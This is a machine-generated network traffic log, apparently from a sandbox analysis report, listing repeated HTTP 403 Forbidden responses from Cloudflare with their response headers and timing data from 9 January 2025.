Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FcmfC2meWSnkzao%2Fdk4zqCUsnPU9ZVMVECt4iKLzHxv1kze9KP%2FwHe4umIGwxayQwwWwYql8rqD8ilJrkfVGeYCzlYOx7chAY9HjDaWAsZFDODGfUB6vRfXwbKCTg07kyFgV%2F9TVUgur7%2FZ0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb1c885742b9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1678&rtt_var=658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1625835&cwnd=184&unsent_bytes=0&cid=7e2dfe8865297951&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zt5HFZOEACs%2F2Bv00CL1owkfIjcFlSzFadTha3RDMQawaM3Im2oJki0jqZr3%2FHzGi7H6a0aWie%2Fgpl36HZtpsXTfK0g3HjSQeW86ghOcn6zz%2FfAPCwobFDInG%2F9%2By6AUflufOdIoMnq8FOXc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb205c19f5fa-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1548&rtt_var=765&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1276223&cwnd=252&unsent_bytes=0&cid=a58728a76f380aca&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=siFe5PBQxmneu%2B%2FzIi3CHr4Ezre0ayv3HaAPPcC0IiqyRTN6FJ0kcwQLTm%2Bwi83QSoL9j8P2TkHmeuSmMj40b5YTENIaK3EZdcinHwjBT9A9MdeS3w98D0Bghg%2Fw5fM9%2BC9rvhlAqhVKfPtX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb240859de9b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1583&rtt_var=607&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1783750&cwnd=193&unsent_bytes=0&cid=6c379c848ae174c7&ts=131&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yhJXElwS8zXpONubOvsbETulH68mqAXxJQQI0qipcGbozM4R1HNUqh9Ay8siUwy4%2BAYm0f9MoFtseMC25TXYzh3b8Aypnq2KtNo0Xfo0GMfzLUVtWX7K90Bnx8muLOLALH7K7AzWO9R%2FAyyJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb27a8a943c7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1570&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1736028&cwnd=215&unsent_bytes=0&cid=dce49e7db3ecce38&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:17 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kCQ4C%2F2ITv8ff13Cv06FtB1e13FXHPzWUleJoMDb8dS%2BbFQ2GWpdfyRXCSjNokNYKtuC%2F9lwctgYFzQyb1gDZj9bpLrEdlopK9XrjYDClxNI0QqcKHvyKx%2FqfKjldtv5zm%2BXVwYu3rWzTHeB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb2bc9938c5d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1907&min_rtt=1891&rtt_var=742&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1443400&cwnd=211&unsent_bytes=0&cid=e65af4f1e6e06b99&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AWEJ3wOo36R5jj5EVqYVE%2B9yEEXYqnBf9jCkYK3CCaSpaXVC%2FxknO2cLdor7VRzZzT0lq9a2yrS4PNn7NQjtjswV8hFyVcz%2FtFKEQ8776wmEhtANOtQc0eFRDM20Uxp2i3ltAWypZZ3oJOiV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb2f9c027c7c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=2013&rtt_var=762&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1428571&cwnd=252&unsent_bytes=0&cid=fb3f1cc086eb1f0e&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uh2%2BvzoTn%2BsNLgbZT0OWHQ4dqULQlKtLgpN%2FP8BNlGeRpPlFEb3u22G7%2BPVSIuqgcMC2%2BGlx8B9bP4HHH3X5ph1U1TvA6kU5ICLbNesn1GWWMARJlT5csImwImsxD2%2BDtt5b7xdbMPRnz%2FDf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb334e0f41c1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1639&rtt_var=620&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1755862&cwnd=205&unsent_bytes=0&cid=224348060117c54c&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZJZEL9Q0AuFKly2pEApOc4mKM0ByxxUZHgxI1Pj%2B9KVCMu09xFVZOEGuP5sHM1M6naf9TTV8VCOsrRmsbbfl%2FKK%2F0OQM7tPCP45Do2IXRYUbGzDqfkazFCpFyE1ta%2FbGuGXyg%2ByNC2%2BJjO7I"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb373ac37283-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1961&rtt_var=769&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1393794&cwnd=244&unsent_bytes=0&cid=ecfcb8aeb1890dac&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vkGZi1ILRUa60QKxslWMaXZRA8zcxvKwhGInFGMGid8c4DoHm2hvH059DuwtfQjM3Xs%2BxST4BF0ip%2BMQk8uX%2Bkojbc%2BvqkLdIf9yRv%2BvaVp6ybKdJtMT%2FV2J9etDDWwA%2Fbp1m3vN98JeeDc7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb3b09d47280-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1978&rtt_var=757&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1476238&cwnd=247&unsent_bytes=0&cid=9d5dcf204bb745bd&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:20 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdXsEFl57boP7AKYAIZnAhqpLpb7THn1iUuO5kvyPyUtuP7EhhybdFZ%2FMuj8QBQldt7XXOAhEf7rydkVmodGgnUZm3puHYW9OJathTNURlSEvLQ5xLcv1TldTFZdMt9vzQuZo%2FVzkO5gn6cc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb3f9a58238e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1953&rtt_var=753&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1432777&cwnd=234&unsent_bytes=0&cid=e117447cff398684&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:21 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HcUwgZvhZh4I24Zw%2BPCxNshDlXHPEAcXQzZZ9pX%2B1VhR4klDRpXvchffkgqTMelHj7KB6B1lGNM3%2BjjBCFjaBLdY6TXAhYyLInnkJnhC8HVS1yNZNyZULpAriKUMZpIz%2BC5Y%2Fcfvf6W0UNZ%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb4428fd7cac-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1920&min_rtt=1914&rtt_var=729&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1488277&cwnd=202&unsent_bytes=0&cid=574d8d69a6a9d637&ts=273&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p5NS6YSODM9KcukDn1mAFHTAdHPFPFd9rMHpeqbHKF0uFpTvjO2sg1tl9oBBoIBCe1XE0cqrJ%2FwKGRwzI%2B70FipcJShHGox5sFu5dB%2BC9RVMOudhmqfwX%2FTcZwrtoVJc%2FRgOu15U7yOfoLmA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb47ec6e4283-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1843&min_rtt=1842&rtt_var=693&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1575822&cwnd=242&unsent_bytes=0&cid=9d6c8056430d6176&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FKh7De7lcOM8gBMS19aDkpcXGr7uhEInviRii7%2Fi7%2FJrTY9p2KnCm78zFx619qBybaCBIrnZFwgl%2FlgZa%2BLDcDV9EGRq%2B0PvojfQPiNAuUXtaKyD%2FQ1bwns3gd6rQqg99dx4Ddiqyse6PMc%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb4bcdd87c9f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1966&rtt_var=752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1441263&cwnd=217&unsent_bytes=0&cid=ae697b3d1d22a9af&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PiQ%2FOE6eufWPXpbztI%2BeuyriwsQGELv3pnTbmABUxQPvk0kuW8FTHoXjQCtb9AA%2FT7XGwQPEs6jVrvoVMNOAuVLnlT1U1yo3r8IkUB5ccW6ory0yNPeT5WE%2FQaBnsqR0hZY2APEbMt00%2FECX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb4f985f32fa-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2101&min_rtt=2077&rtt_var=796&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1405873&cwnd=164&unsent_bytes=0&cid=b1a596a7b52c9eec&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DQlVaJekrB0HWPbVMdrsX7PeizqRXSExGKDvWLsTtiEMTeMaSG6DVI4LmlJ26bArzfnc6Jw1%2F2jtsmUmSvzN7CSLfWF4SBVqZZNPehosyW3hf4Tqn21SwspkWIHagAHZULkETI4Z3OgAV7n8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb56ec9343c9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1562&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1755862&cwnd=230&unsent_bytes=0&cid=b76d0b80c7031945&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gAtZhrVKPPVN7MpRwlr4eZFD0SuVYLxW4UOKsFVDKM%2FjvIzos%2BiKnVGQVzLXGZtJokgqvoTRPDIzyus3zJzn4HdOfoPlq9YlfkKZrmZn9ihoa60B247njgoT%2FhIucdhscAtkw2QWayiC3o%2F5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb5bae274273-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2254&min_rtt=2248&rtt_var=847&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1298932&cwnd=32&unsent_bytes=0&cid=1dd40a4690232ab1&ts=269&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZHBDogqMDtlxQ8wCWWVoXF0ZZ5Rb6F1FCG6KSxe3zwCQuhAi2EU8sBi7sdXYJh5GhpUW%2BMh5rO6%2FzWdRGtzb2gNqUgvir%2BYgk5cgYSS3tWKfpxg6y0qkKs%2F3fswzrdqxZ%2BosaTAEObSq4Ra4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb5f8e3c4376-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1969&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1454183&cwnd=248&unsent_bytes=0&cid=62ca994f97417812&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ckx247%2BZ9sEKeBQQbLd6x5EhGcJVrslwR4i9scLiN6ZTJMcyACbdbkO1VZd2FSW1OZjxx7UJN7gFNBKODJqU9%2FphRBBiJk6Z1pKuKvOXX8SrU7oG6nPp1qpgjugFUl3Ho1IhHLscEfcPH5TP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb635ebd72aa-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2027&rtt_var=761&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1440552&cwnd=191&unsent_bytes=0&cid=1c50ea0e58fdfd70&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B7WmBPoRONszvRTny8m2qO9hoYSKbOYbFHyaNzBfZrlkVWlMtWx%2FCEWnR%2B35Kq1M2wtrCsKf%2Fiw%2FEnXJh5hagLvi1hrgL8YW7PVgc%2BL59G4VFB%2FM%2FQQY4Kb3whWcY%2BWGA7wWv172h%2FVxBFc6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb693bb88c59-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1996&min_rtt=1987&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1418164&cwnd=196&unsent_bytes=0&cid=235a650093af2167&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wl1F8d0qTdnNbuZk2%2FmlLqQfqJH%2BHIbvGkNWPwUIEIKwSsHHTfTtiVA%2Fqq6Pgu1X8TKp8tC8JMyheRkF5pt67%2FzyQZneo2EBBOs47snLooK%2FuHS6k49TpqtDF7swt1VzHmFK%2Ft3SYnOkpqTU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb6d0c5a42cc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2389&min_rtt=2382&rtt_var=908&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1195741&cwnd=169&unsent_bytes=0&cid=8b46271300f8a8b4&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kuXLH0yHYh%2F54dZ5rW%2Bp6rb3o%2BsqdyXVsr%2Fm%2FUvUnXqoyLMpo%2F4jFU1PQvTB7d0TAG7XEowlPSzUVua7Sp8l2VYC0Q4sIaZvSr0%2FgR%2BVfwnLQMvMA6plm1RvM44JY2FcAJyrvi5B%2BYfztbuU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb70b83ff78f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1619&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1741204&cwnd=137&unsent_bytes=0&cid=a34a4876baa5994a&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2zVd1bYQwgaNnkdhxEGBvJy6WIrzv8ZEHgknrzUxGMzNhNOZKjH10u8YIh0eati4ZEpJj4vx1fIUsn8fDr8ducH3hK6SNbZ3JMzmkePGe4TnjwdVEC2qhHg3pyOdkqVHVuZuITRR%2FkTQYMip"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb749a9a43d3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1583&rtt_var=607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1782661&cwnd=236&unsent_bytes=0&cid=06985bb3392d73f0&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1knWmnxW9VVqGxo94Sd4NPfsCwS67RHHASUi6Qj4Vy2sXmR5cb9LsD9v8xOBgjLhC0r4Iv8VD4S%2FNNfYHprLlfNTJqk4H50s8jC1ebIoS1DNTPZqLKzk0zmu2eq%2FbDJ44Qe0aUWpdI9Khclp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb786f897c87-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1971&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1435594&cwnd=213&unsent_bytes=0&cid=b7634ccece3121a7&ts=145&x=0"
